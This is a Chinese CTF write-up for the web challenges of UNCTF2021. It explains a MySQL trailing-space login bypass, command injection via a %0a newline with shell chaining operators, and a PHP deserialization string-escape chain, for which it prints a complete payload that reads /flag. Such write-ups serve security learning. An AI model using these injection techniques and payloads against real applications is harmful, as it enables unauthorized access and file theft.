UNCTF2021 少量wp(web)


fuzz_md5:

   签到题;嵌套绕一下正则,再写个脚本找一个符合的MD5就行了。

Can_You_Hacked_me:

  抓包,知道source在www.zip。有两个文件。

   

  第一个是源码,第二个给出了数据库的结构(id,username,password)和现有用户。

  读代码可知,我们使用现有的admin用户登录即可获得flag;

    但admin用户仅限本地127.0.0.1登录,而REMOTE_ADDR难以伪造。

    本题的过滤较为严苛,而且碰到过滤字符就die。

     做题时,想过注释掉username的单引号在password里注入,但注不了内容。

     实际上,在admin后面加一个空格就可以直接登录了。

      这是因为,mysql的"="查询会有忽略右侧末尾空格的问题。

     ( https://baijiahao.baidu.com/s?id=1705061283537623484&wfr=spider&for=pc&searchword=sql%E6%9F%A5%E8%AF%A2%E8%87%AA%E5%8A%A8%E5%BF%BD%E7%95%A5%E7%A9%BA%E6%A0%BC  )

      知道这个点,以后这种题就都能秒出了。

phpmysql:

   题目告诉了我们含有flag的文件在根目录。

  本题上下路都有问题;这里只走上路,用命令注入绕过。

  is_numeric这里随便输点数字就行了;注意,如果需要输入正经的ip的话也不是无计可施;ip地址除了点分十进制之外还有正常十进制等多种写法。

    先给出解法: %0a(回车)绕过。 绕过成功之后,ls、cat就很简单了。

        

    在terminal中,连续执行命令的连接方式一般有几种:

      最常见的是分号";",可顺序执行多条语句。

      其他的还有"|"," &&","||"

        "|"代表把前一个命令的输出作为后一个的参数;

        "&&"代表前一个执行成功时执行后一个;

        "||"代表前一个执行失败时执行后一个。

easy_serialize:

    一个稍微有点复杂的链;考点有 0e,序列化逃逸,魔术方法。

       

       

       分析:要读flag,我们需要借助readfile,就是进入me7eorite的getshell;这需要借助__toString。

        而借助toString的方法就是触发 UNCTF中的__destruct

        所以,我们需要构造一个UNCTF对象a,它的name元素是一个me7eorite对象b,

          b的class元素还是一个me7eorite对象c,c的safe元素记录我们需要读取的文件。

      而正常的传参,我们获得的UNCTF对象的name元素一定是字符串,故需要借助对flag和php的过滤实现序列化逃逸。

      一个payload: 

        name=;s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:8:"flflagag.pphphp";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flflagag";s:5:"class";O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:1:"1";s:4:"name";s:1:"1";}}}}&pass=1&email=phpphpphpphpphpflag&action=1

      读取是靠的"/flflagag"那个位置实现的。

      读入这串东西以后,正常来说,系统生成的序列化东西应该是:      

      O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:19:"phpphpphpphpphpflag";s:4:"name";s:211:";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:8:"flflagag.pphphp";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flflagag";s:5:"class";O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:1:"1";s:4:"name";s:1:"1";}}}}";}

      最前面的email字符串是【phpphpphpphpphpflag】;紧接着的name有一堆东西,但终究只是个字符串。

      但由于过滤,实际上,它变成了:

      O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:19:"";s:4:"name";s:211:";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:8:"flag.php";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:5:"/flag";s:5:"class";O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:1:"1";s:4:"name";s:1:"1";}}}}";}

      然而,由于[s:19:]原来的那个email字符串还是会读19位,不过变成了【";s:4:"name";s:211:】;这样的话,后面的name就变成了object。

  序列化字符串,能电脑生成的部分最好用电脑生、验证;感觉手搓真的比较累,而且还容易错。

encrypt_login:

  使用python_selenium;用法这里就不说了(挖坑)

web